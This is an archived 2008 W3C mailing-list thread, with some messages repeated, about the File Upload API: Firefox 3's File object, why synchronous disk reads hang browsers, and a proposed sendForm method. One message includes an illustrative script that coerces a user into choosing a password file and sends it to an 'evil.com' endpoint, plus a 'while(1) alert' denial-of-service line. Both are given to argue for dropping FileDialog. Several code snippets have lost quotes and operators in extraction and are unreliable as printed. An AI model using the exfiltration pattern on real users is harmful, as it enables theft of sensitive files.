Re: File Upload Status ?
Although the thread is almost a year old, I haven't found any replies to these questions, so I'm sharing what I've found: I have a few questions and an idea. Does calling send( file ) generate the appropriate Content-Type request header with matching boundary? No, it doesn't. I've filed https://bugs.webkit.org/show_bug.cgi?id=26979 about it. How can this feature be detected? I don't think that it can be detected. You must know that the visitor is using the correct webkit version. Idea: How about passing a form to send? When passing a form to send, the correct headers are set from the form's enctype, generating the boundary, content-disposition and other stuff for multipart requests. Yes, that's what I thought that day after sleeping. That would be great, much better than the option of Firefox 3.5 to read the whole file as a string and send that. The browser takes care of reading the file and sending it as it is needed, like any current form without extra memory requirements. The only problem is that it complicates send with much functionality. Responsibly adaptive and well designed web apps will want to creat feature tests and fallback strategies, but this will be awkward and difficult to do, given the current API. Why not create a separate method - sendForm. if(xhr.sendForm) xhr.sendForm(form); Garrett That's exactly the proposal that I wanted to present to the Web Apps, if it's possible to reuse exactly the same server code, but provide an UI at the browser then lots of people will gladly use it. Just think that basically the code to degrade gracefully would be if (xhr.sendForm) xhr.sendForm(form); else form.send(); Regards
Re: FileUpload Editor | Re: File Upload Status ?
Thanks for taking the lead on this Arun! Since we eventually need to show we've satisfied its [=the spec's] relevant technical requirements [1], did the Web API WG do some related requirements work? If yes, where can we find that work? -Regards, Art Barstow [1] http://www.w3.org/2005/10/Process-20051014/tr.html#last-call On Sep 5, 2008, at 3:28 PM, ext Arun Ranganathan wrote: All, On behalf of Mozilla, I'd like to take over as editor of the FileUpload spec., which was actually once assigned to me quite some time ago :) Of course, I think that form.getDataAsString(); form serialization is out of scope of this particular specification, but I think other things like Blobs (as per the Google Gears proposal -- maybe a File interface can have a getBlobs on it) are probably in, as well as some other interface proposals by Opera, etc. Security makes or breaks all of this, so I'll start with the restrictions we've put on this as a strawperson. After talking to Jonas, I also think File Download should be in scope, again modulo security which, following a straw person, is a welcome group discussion. I've gotten CVS access from Mike. I'd like till the end of the week (next week) to turn around a a first revision. -- A*
Re: FileUpload Editor | Re: File Upload Status ?
Garrett Smith wrote: On Fri, Sep 5, 2008 at 12:28 PM, Arun Ranganathan [EMAIL PROTECTED] wrote: All, Hi Arun, On behalf of Mozilla, I'd like to take over as editor of the FileUpload spec., which was actually once assigned to me quite some time ago :) Of course, I think that form.getDataAsString(); form serialization is out of scope of this particular specification, but I I agree, but it seems that File Serialization is a prereq to Form Serialization. I don't agree. The two seems totally unrelated. Sure, if you have file serialization a JS library could implement form serialization. However we're talking about specs that UAs would implement, which can be done totally without public APIs. But then, is there a strong need for File Serialization? Am I sufferering from 'analysis paralysis'? Getting to file data is useful for many many other things than sending that data to a server. For example asking the user for a file containing data to process, or a word document to open and edit in google docs. think other things like Blobs (as per the Google Gears proposal -- maybe a File interface can have a getBlobs on it) are probably in, as well as some other interface proposals by Opera, etc. Security makes or breaks all of this, so I'll start with the restrictions we've put on this as a strawperson. After talking to Jonas, I also think File Download should be in scope, again modulo security which, following a straw person, is a welcome group discussion. How does File Download work? File download is when a page has some data that it wants to make available to the user to save as a local file. For example a result from a computation, or a document produced in google docs. Would it be better to provide only the ability to access files' mediaType, and fileSize, and let XHR accept a File to send()? In the above example you are not interested in sending the data to the server, but rather providing to the user to save locally. Reading a file locally would allow for populating a Rich Text Editor without a trip to the server. There may be other cases for needing the data inside a file on the client, but I can't think of them. That seems like a fine example :) I've gotten CVS access from Mike. I'd like till the end of the week (next week) to turn around a a first revision. Writing documentation and then writing code has led API problems that could have been avoided. To avoid this problem, before writing documentation, it would be a good idea to figure out what the goal of the API is. Informal discussion could accomplish that. Next, I would like to see a test case. The test case would accomplish figuring out what the API will do, plus reveal edge cases and problems. I know this is not the way things usually get done. My reason for emailing to ask for feedback from Jonas, Maciej, and Oliver, and the public-webapps list, was to get the ball rolling by this less formal process. I would like to know what the API should do and then write a test case that expects such functionality. I agree we should first discuss use cases and requirements, before coming up with APIs. / Jonas
FileUpload Editor | Re: File Upload Status ?
All, On behalf of Mozilla, I'd like to take over as editor of the FileUpload spec., which was actually once assigned to me quite some time ago :) Of course, I think that form.getDataAsString(); form serialization is out of scope of this particular specification, but I think other things like Blobs (as per the Google Gears proposal -- maybe a File interface can have a getBlobs on it) are probably in, as well as some other interface proposals by Opera, etc. Security makes or breaks all of this, so I'll start with the restrictions we've put on this as a strawperson. After talking to Jonas, I also think File Download should be in scope, again modulo security which, following a straw person, is a welcome group discussion. I've gotten CVS access from Mike. I'd like till the end of the week (next week) to turn around a a first revision. -- A*
Re: File Upload Status ?
Just wanted to follow up with this. How can we proceed with getting some file serialization implemented? I would like to create some tests. Should there be async/sync, or just async? I'm sure it's going to be a useful feature. Jonas was also helping flesh out some ideas for Form Serialization, so we could have something like:- var form = document.forms[0]; form.enctype=multipart/form-data; form.getDataAsString(); form.enctype = application/x-www-form-urlencoded; form.getQueryString(); This would be useful mostly for getting the data (including from type=file) to an XHR without having to resort to IFRAME hacks. It seems that the File Serialization would be the hardest part of that problem. If File serialization can be accomplished, wouldn't serializing the whole form be relatively easy? I'd like to get started with File Serialization. If the Webkit guys are too busy with other things at the moment, then maybe Mozilla can take the initiative. Thanks, Garrett On Sun, Aug 24, 2008 at 11:25 PM, Garrett Smith [EMAIL PROTECTED] wrote: Oliver, Maciej - have you given this any thought? I'd like to get some discussion going for this. I'll write the failing tests, but I need some vendor input. That goes for Jonas, Boris, and other Mozilla guys, too. Thanks, Garrett On Tue, Aug 12, 2008 at 10:23 PM, Garrett Smith [EMAIL PROTECTED] wrote: On Tue, Aug 12, 2008 at 8:01 PM, Maciej Stachowiak [EMAIL PROTECTED] wrote: On Aug 11, 2008, at 11:21 PM, Garrett Smith wrote: [snip] Why don't you post up your ideas? We'll probably make a proposal for async reads in time. Our initial implementation in WebKit only lets you upload a File object via XHR but we believe eventually some form of direct I/O should be added. I have a few questions and an idea. Does calling send( file ) generate the appropriate Content-Type request header with matching boundary? How can this feature be detected? Idea: How about passing a form to send? When passing a form to send, the correct headers are set from the form's enctype, generating the boundary, content-disposition and other stuff for multipart requests. The only problem is that it complicates send with much functionality. Responsibly adaptive and well designed web apps will want to creat feature tests and fallback strategies, but this will be awkward and difficult to do, given the current API. Why not create a separate method - sendForm. if(xhr.sendForm) xhr.sendForm(form); Garrett Regards, Maciej
Re: File Upload Status ?
On Mon, Aug 11, 2008 at 9:04 PM, Oliver Hunt [EMAIL PROTECTED] wrote:
Sorry, the and browser at the end was a typo. I meant to say, in the
browser. The reason synchronous access to the disk is a bad idea is
that
if the operation takes too long, a big file, a slow network home
directory,
Then:
function readFile(file) {
// 1. Check the fileSize property.
if(file.fileSize 10) {
generateFileWarning(file);
return;
}
// 2. read file asynchronously.
setTimeout(readFile, 1);
}
seems to completey address the problems you mentioned in only a few
lines of code.
Alas this does not resolve the problem as you are making the implicit
assumption that because a 100k file access may be fine on your local system,
or even on a network drive on your local network it may not be for someone
using a network drive over a the net or on an otherwise slow connection
(this isn't necessarily an uncommon scenario, a person using a vpn on a 56k
modem could hit this or a person with a poor wifi connection, etc). The
file limit being 100k is a magic number that could be replaced by any
arbitrary value, but the simplest way to break any size assumption is to
consider what would happen if the file you were attempting to load were on a
network drive from a server that just fell over.
I missed the point with the server falling over.
In general APIs that require the developer to make this sort of decision are
poor as they tend to result in code that always uses the synchronous API
(because it's easy) because it works fine on the developers system, even
though it may not be even remotely useful for many people. The other
scenario is that the developer does do some testing, but doesn't test every
possible configuration, once again resulting in some people being unable to
use the site/application.
The other alternative is to have a file sent to the server. The
downside here is when the user does not know that his jpg file that he
uploads is over 1mb. So there's a round trip and it's a slow U/X.
That's where the alert(you're file is too big.) provides faster
feedback than a round trip to a server (with a very large file on the
outbound).
The other problem is that setTimeout does not result in async javascript
execution it merely delays the synchronous execution of a script.
I've just tried to upload a 1.1mb log file from my hard drive and had
no issue reading. Using Firefox an older mac.
Reading a 46mb files was slow. I somewhat expected that.
Uploading large files will take time.
In your
example you are returning from readFile (to prevent your code from blocking
the UI) and then the moment the timer is triggered a synchronous read of a
definitely large file will occur, resulting in the UI being blocked.
That is not what the code was intended to do. I realize that I had a
recursive call in the function readFile. The intention is to
setTimeout(getFileContents, 1);
A useful error might be:
error: file size over allowed limit.
Or in another context:
warning: this file may take time to upload
The only way to prevent such UI blocking is to have an async api regardless
as to whether you have a synchronous one, meaning that the synchronous api
will only exist to either increase complexity (as developers will need to
implement logic to fallback to, and implement, the async I/O in addition to
the synchronous I/O logic as your above example would need to), or to
produce sites that fail to account for non-fast I/O (which thus destroy the
end user experience).
Sounds like async reads would avoid the problem of locking the UI.
Why don't you post up your ideas?
Garrett
--Oliver
Re: File Upload Status ?
On Aug 11, 2008, at 11:21 PM, Garrett Smith wrote: The other problem is that setTimeout does not result in async javascript execution it merely delays the synchronous execution of a script. I've just tried to upload a 1.1mb log file from my hard drive and had no issue reading. Using Firefox an older mac. Reading a 46mb files was slow. I somewhat expected that. Uploading large files will take time. Consider that we need this API to work well not only on your system, but also under scenarios that have much higher latency to disk, and much lower bandwidth from disk, such as: - network fileshares - mobile devices with full browsing but limited hardware (such as the iPhone or the Nokia e71). Under these circumstances, reading even a small file can take orders of magnitude longer than your measurements. Your testing illustrates exactly the problem with having a synchronous API at all: Web developers will test only on their own system, and assume because that is fast enough then a hardcoded limit like this is ok. We've seen the result of this with synchronous XMLHttpRequest, where almost any site using it leads to pervasive UI hangs for users on slow networks. Let's not repeat that mistake with file access. In your example you are returning from readFile (to prevent your code from blocking the UI) and then the moment the timer is triggered a synchronous read of a definitely large file will occur, resulting in the UI being blocked. That is not what the code was intended to do. I realize that I had a recursive call in the function readFile. The intention is to setTimeout(getFileContents, 1); A useful error might be: error: file size over allowed limit. Or in another context: warning: this file may take time to upload setTimeout will not prevent a long-running operation from blocking the UI. It will merely defer blocking the UI to slightly later. Putting up an error is not a good user experience. The only way to prevent such UI blocking is to have an async api regardless as to whether you have a synchronous one, meaning that the synchronous api will only exist to either increase complexity (as developers will need to implement logic to fallback to, and implement, the async I/O in addition to the synchronous I/O logic as your above example would need to), or to produce sites that fail to account for non-fast I/O (which thus destroy the end user experience). Sounds like async reads would avoid the problem of locking the UI. Why don't you post up your ideas? We'll probably make a proposal for async reads in time. Our initial implementation in WebKit only lets you upload a File object via XHR but we believe eventually some form of direct I/O should be added. Regards, Maciej
Re: Fwd: File Upload Status ?
On Sun, Aug 10, 2008 at 10:58 PM, Garrett Smith [EMAIL PROTECTED] wrote: On 8/8/08, Garrett Smith [EMAIL PROTECTED] wrote: On Fri, Aug 8, 2008 at 2:28 PM, Jonas Sicking [EMAIL PROTECTED] wrote: Garrett Smith wrote: Are there any other implementations working on File Upload? Changing the WD to match what FF does would be a good idea. This includes: Webkit Nightly has FileList, but no methods to get the data. We can see that by inspecting the file input element on any page by R-Click Inspect Element to launch the Webkit Web Inspector. The example page: http://dhtmlkitchen.com/ape/example/form/Form.html If Maciej or D Hyatt are available, it would be very helpful to get your feedback at this time. I'd really like to hear from any implementations. File: Changed methods/method names FileDialog: remove altogether Unless there a way to implement FileDialog while considering the DoS attack Jonas posted up. Is this possible? Garrett Garrett Garrett / Jonas
Re: File Upload Status ?
Just a few weeks ago (http://lists.w3.org/Archives/Public/public-webapps/2008JulSep/0186.html ) I proposed a stripped down version of the File Upload spec (thinking it defunct) that matched Mozilla's implementation sans the data accessors. One reason for not including the data accessors was that we don't think synchronous access to the disk is a good idea and browser. -Sam On Aug 11, 2008, at 7:07 PM, Garrett Smith wrote: On Sun, Aug 10, 2008 at 10:58 PM, Garrett Smith [EMAIL PROTECTED] wrote: On 8/8/08, Garrett Smith [EMAIL PROTECTED] wrote: On Fri, Aug 8, 2008 at 2:28 PM, Jonas Sicking [EMAIL PROTECTED] wrote: Garrett Smith wrote: Are there any other implementations working on File Upload? Changing the WD to match what FF does would be a good idea. This includes: Webkit Nightly has FileList, but no methods to get the data. We can see that by inspecting the file input element on any page by R-Click Inspect Element to launch the Webkit Web Inspector. The example page: http://dhtmlkitchen.com/ape/example/form/Form.html If Maciej or D Hyatt are available, it would be very helpful to get your feedback at this time. I'd really like to hear from any implementations. File: Changed methods/method names FileDialog: remove altogether Unless there a way to implement FileDialog while considering the DoS attack Jonas posted up. Is this possible? Garrett Garrett Garrett / Jonas
Re: File Upload Status ?
On Mon, Aug 11, 2008 at 7:18 PM, Sam Weinig [EMAIL PROTECTED] wrote: Just a few weeks ago (http://lists.w3.org/Archives/Public/public-webapps/2008JulSep/0186.html) I proposed a stripped down version of the File Upload spec (thinking it defunct) that matched Mozilla's implementation sans the data accessors. One reason for not including the data accessors was that we don't think synchronous access to the disk is a good idea and browser. Sam, I got that you don't think it's a good idea, but not why. Also, I don't understand the 'browser' at the end. Can you explain this? Please quote what you are replying to so to make it clear as to exactly what you're replying. IM lost. Garrett -Sam On Aug 11, 2008, at 7:07 PM, Garrett Smith wrote: On Sun, Aug 10, 2008 at 10:58 PM, Garrett Smith [EMAIL PROTECTED] wrote: On 8/8/08, Garrett Smith [EMAIL PROTECTED] wrote: On Fri, Aug 8, 2008 at 2:28 PM, Jonas Sicking [EMAIL PROTECTED] wrote: Garrett Smith wrote: Are there any other implementations working on File Upload? Changing the WD to match what FF does would be a good idea. This includes: Webkit Nightly has FileList, but no methods to get the data. We can see that by inspecting the file input element on any page by R-Click Inspect Element to launch the Webkit Web Inspector. The example page: http://dhtmlkitchen.com/ape/example/form/Form.html If Maciej or D Hyatt are available, it would be very helpful to get your feedback at this time. I'd really like to hear from any implementations. File: Changed methods/method names FileDialog: remove altogether Unless there a way to implement FileDialog while considering the DoS attack Jonas posted up. Is this possible? Garrett Garrett Garrett / Jonas
Re: File Upload Status ?
On Aug 11, 2008, at 7:30 PM, Garrett Smith wrote: On Mon, Aug 11, 2008 at 7:18 PM, Sam Weinig [EMAIL PROTECTED] wrote: Just a few weeks ago (http://lists.w3.org/Archives/Public/public-webapps/2008JulSep/0186.html ) I proposed a stripped down version of the File Upload spec (thinking it defunct) that matched Mozilla's implementation sans the data accessors. One reason for not including the data accessors was that we don't think synchronous access to the disk is a good idea and browser. Sam, I got that you don't think it's a good idea, but not why. Also, I don't understand the 'browser' at the end. Can you explain this? Please quote what you are replying to so to make it clear as to exactly what you're replying. IM lost. Sorry, the and browser at the end was a typo. I meant to say, in the browser. The reason synchronous access to the disk is a bad idea is that if the operation takes too long, a big file, a slow network home directory, or for whatever other reason, the browser hangs. It is the same reason synchronous network access can be construed as a bad idea. I was replying to your request for implementors to give you feedback. I am in favor of spec moving forward, but it needs an editor. -Sam
Re: File Upload Status ?
Sorry, the and browser at the end was a typo. I meant to say,
in the
browser. The reason synchronous access to the disk is a bad idea
is that
if the operation takes too long, a big file, a slow network home
directory,
Then:
function readFile(file) {
// 1. Check the fileSize property.
if(file.fileSize 10) {
generateFileWarning(file);
return;
}
// 2. read file asynchronously.
setTimeout(readFile, 1);
}
seems to completey address the problems you mentioned in only a few
lines of code.
Alas this does not resolve the problem as you are making the implicit
assumption that because a 100k file access may be fine on your local
system, or even on a network drive on your local network it may not be
for someone using a network drive over a the net or on an otherwise
slow connection (this isn't necessarily an uncommon scenario, a person
using a vpn on a 56k modem could hit this or a person with a poor wifi
connection, etc). The file limit being 100k is a magic number that
could be replaced by any arbitrary value, but the simplest way to
break any size assumption is to consider what would happen if the file
you were attempting to load were on a network drive from a server that
just fell over.
In general APIs that require the developer to make this sort of
decision are poor as they tend to result in code that always uses the
synchronous API (because it's easy) because it works fine on the
developers system, even though it may not be even remotely useful for
many people. The other scenario is that the developer does do some
testing, but doesn't test every possible configuration, once again
resulting in some people being unable to use the site/application.
The other problem is that setTimeout does not result in async
javascript execution it merely delays the synchronous execution of a
script. In your example you are returning from readFile (to prevent
your code from blocking the UI) and then the moment the timer is
triggered a synchronous read of a definitely large file will occur,
resulting in the UI being blocked.
The only way to prevent such UI blocking is to have an async api
regardless as to whether you have a synchronous one, meaning that the
synchronous api will only exist to either increase complexity (as
developers will need to implement logic to fallback to, and implement,
the async I/O in addition to the synchronous I/O logic as your above
example would need to), or to produce sites that fail to account for
non-fast I/O (which thus destroy the end user experience).
--Oliver
File Upload Status ?
The File object is useful for uploading files via XHR. It provides functionality for data to be retrieved from a file submitted to a formusing the input type file. It is currently a Working Draft: http://www.w3.org/TR/file-upload/ http://dev.w3.org/2006/webapi/FileUpload/publish/FileUpload.html Implemented differently in Firefox 3. http://developer.mozilla.org/en/docs/nsIDOMFile https://bugzilla.mozilla.org/show_bug.cgi?id=371432 An example in Firefox 3: http://dhtmlkitchen.com/ape/example/form/Form.html It is a useful feature for in-page file upload, without resorting toIFRAME hackery. What is the status of File Upload? Firefox 3's implementation is different than the w3c working draft.The spec author seems to have abandoned that, so now there's a working draft which seems to be collecting dust for a couple of years. What is going on with File Upload specification? It would be a useful feature, but with only a half-legged attempt at a spec that the author abandoned, and a different implementation in Firefox 3, other browsers probably won't implement this functionality any time soon. It's useful in Firefox 3, and would be even better if there were some mime-type sniffing (mediaType). There seems to be a need for failing test cases,, so implementations can fill in the ???'s. Any other suggestions for getting this thing done? Garrett
Re: File Upload Status ?
Garrett Smith wrote:
The File object is useful for uploading files via XHR. It provides
functionality for data to be retrieved from a file submitted to a
formusing the input type file.
It is currently a Working Draft:
http://www.w3.org/TR/file-upload/
http://dev.w3.org/2006/webapi/FileUpload/publish/FileUpload.html
Implemented differently in Firefox 3.
http://developer.mozilla.org/en/docs/nsIDOMFile
https://bugzilla.mozilla.org/show_bug.cgi?id=371432
An example in Firefox 3:
http://dhtmlkitchen.com/ape/example/form/Form.html
It is a useful feature for in-page file upload, without resorting
toIFRAME hackery.
What is the status of File Upload?
Firefox 3's implementation is different than the w3c working draft.The
spec author seems to have abandoned that, so now there's a working
draft which seems to be collecting dust for a couple of years.
What is going on with File Upload specification? It would be a useful
feature, but with only a half-legged attempt at a spec that the author
abandoned, and a different implementation in Firefox 3, other browsers
probably won't implement this functionality any time soon. It's useful
in Firefox 3, and would be even better if there were some mime-type
sniffing (mediaType).
There seems to be a need for failing test cases,, so implementations
can fill in the ???'s. Any other suggestions for getting this thing
done?
The spec only really supplies one feature over what Firefox 3 has: The
ability to open a file dialog strictly from Javascript without any UI
objects involved.
I'm not sure if this is a super desirable feature from a security point
of view. Technically speaking a site could take a users browser hostage
unless the user agrees to give up a sensitive file:
function checkForFile(e) {
if (!e || !fileIsPasswordFile(e.fileList[0])) {
alert(Give me your passw0rd file!);
var fd = new FileDialog();
fd.addEventListenerNS(
http://www.w3.org/ns/fs-event#;, files-selected, checkForFile,
false);
fd.open();
}
else {
xhr = new XMLHttpRequest();
xhr.open(GET, http://evil.com/passwordsaver.cgi;, false);
xhr.send(e.fileList[0]);
}
}
checkForFile();
Granted, there are certainly many ways to DoS a browser already
(while(1) alert('ha');) but the above is somewhat more sinister.
/ Jonas
Fwd: File Upload Status ?
(put back on list) On Fri, Aug 8, 2008 at 2:56 AM, Jonas Sicking [EMAIL PROTECTED] wrote: Garrett Smith wrote: The File object is useful for uploading files via XHR. It provides functionality for data to be retrieved from a file submitted to a formusing the input type file. It is currently a Working Draft: http://www.w3.org/TR/file-upload/ http://dev.w3.org/2006/webapi/FileUpload/publish/FileUpload.html Implemented differently in Firefox 3. http://developer.mozilla.org/en/docs/nsIDOMFile https://bugzilla.mozilla.org/show_bug.cgi?id=371432 An example in Firefox 3: http://dhtmlkitchen.com/ape/example/form/Form.html It is a useful feature for in-page file upload, without resorting toIFRAME hackery. What is the status of File Upload? Firefox 3's implementation is different than the w3c working draft.The spec author seems to have abandoned that, so now there's a working draft which seems to be collecting dust for a couple of years. What is going on with File Upload specification? It would be a useful feature, but with only a half-legged attempt at a spec that the author abandoned, and a different implementation in Firefox 3, other browsers probably won't implement this functionality any time soon. It's useful in Firefox 3, and would be even better if there were some mime-type sniffing (mediaType). There seems to be a need for failing test cases,, so implementations can fill in the ???'s. Any other suggestions for getting this thing done? The spec only really supplies one feature over what Firefox 3 has: The ability to open a file dialog strictly from Javascript without any UI objects involved. That is not the difference I was talking about. The differences are that Firefox 3 has three different methods that don't exist in the WD and the WD has three methods that aren't implemented (or are renamed) in FF3. Also, FF3 does not implement the mediaType. That would seem to be useful to have implemented because it could allow for faster notification of user errors. Firefox 3: File fileName fileSize getAsBinary() getAsDataURL() getAsText() Working Draft: File readonly attribute DOMString fileName; readonly attribute DOMString mediaType; readonly attribute unsigned long fileSize; DOMString getDataAsString() raises(FileException); DOMString getDataAsBase64() raises(FileException); DOMString getDataAsHexBinary() (regarding FileDialog) I'm not sure if this is a super desirable feature from a security point of view. Technically speaking a site could take a users browser hostage unless the user agrees to give up a sensitive file: Thanks for pointing that out. That's pretty nasty. It's a good case for removing FileDialog. What is the use case for FileDialog that can't be fulfilled by the browse button? Garrett / Jonas
Re: Fwd: File Upload Status ?
On Fri, Aug 8, 2008 at 2:28 PM, Jonas Sicking [EMAIL PROTECTED] wrote: Garrett Smith wrote: Sounds like your usecase is a good one, please file a bug to get this implemented in firefox. Done: https://bugzilla.mozilla.org/show_bug.cgi?id=449880 Not depending on HTML i suspect. But that's a guess. In general I definitely support having the File object specified. Not sure how big of a fan I am of the other parts of the current spec though. But I don't have very strong feelings either way as of yet. The 'files-selected' Event and FilesSelectionEvent Interface: * Seems unnecessary. The change event can do just fine there. The file object can grab event.target and get the FileList off that, e.g. e.target.files. Can this be removed from the API? FileDialog: * Are there strong reasons for keeping FileDialog? The FileDialog interface can always be added on later in another version. The feature seems to need some security aspects to address the DoS issue Jonas brought up. Integration with XMLHttpRequest * If an XMLHttpRequest is going to accept a File, then ideally it would provide an easy way to detect this feature. This seems to be a feature for XHR. For here, an example should suffice (when the XHR spec includes the functionality). Garrett / Jonas
